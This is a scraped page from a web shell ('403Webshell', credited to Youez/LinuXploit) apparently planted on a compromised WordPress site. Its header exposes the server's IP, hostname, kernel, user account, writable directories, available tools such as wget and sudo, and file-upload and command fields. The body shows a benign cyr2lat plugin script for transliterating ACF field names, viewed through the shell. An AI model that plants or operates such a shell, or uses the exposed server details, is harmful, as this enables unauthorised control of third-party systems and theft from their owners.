403Webshell
Server IP : 195.58.49.151  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.67 (Debian) mod_fcgid/2.3.9 OpenSSL/3.0.20
System : Linux hs.hsdns.ru 6.1.0-48-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.172-1 (2026-05-15) x86_64
User : antilam ( 1007)
PHP Version : 8.4.22
Disable Function : system,passthru,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/antilam/web/antilam.ru/public_html/wp-content/plugins/cyr2lat/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/antilam/web/antilam.ru/public_html/wp-content/plugins/cyr2lat/assets/js/acf-field-group.js
/* global acf, CyrToLatAcfFieldGroup */

/**
 * ACF support.
 *
 * @param {window.jQuery} $        jQuery.
 * @param {Window}        window   Window.
 * @param {document}      document
 * @package
 */
( function( $, window, document ) {
	'use strict';

	const table = CyrToLatAcfFieldGroup.table;
	const convert = function( str ) {
		$.each(
			table,
			function( k, v ) {
				const regex = new RegExp( k, 'g' );
				str = str.replace( regex, v );
			}
		);
		str = str.replace( /[^\w\d\-_]/g, '' );
		str = str.replace( /_+/g, '_' );
		str = str.replace( /^_?(.*)$/g, '$1' );
		str = str.replace( /^(.*)_$/g, '$1' );

		return str;
	};

	acf.addFilter(
		'generate_field_object_name',
		function( val ) {
			return convert( val );
		}
	);

	$( document ).on(
		'change',
		'.acf-field .field-name',
		function() {
			if ( $( this ).is( ':focus' ) ) {
				return false;
			}

			const $this = $( this );
			let str = $this.val();
			str = convert( str );

			if ( str !== $this.val() ) {
				$this.val( str );
			}
		}
	);
}( window.jQuery, window, document ) );

Youez - 2016 - github.com/yon3zu
LinuXploit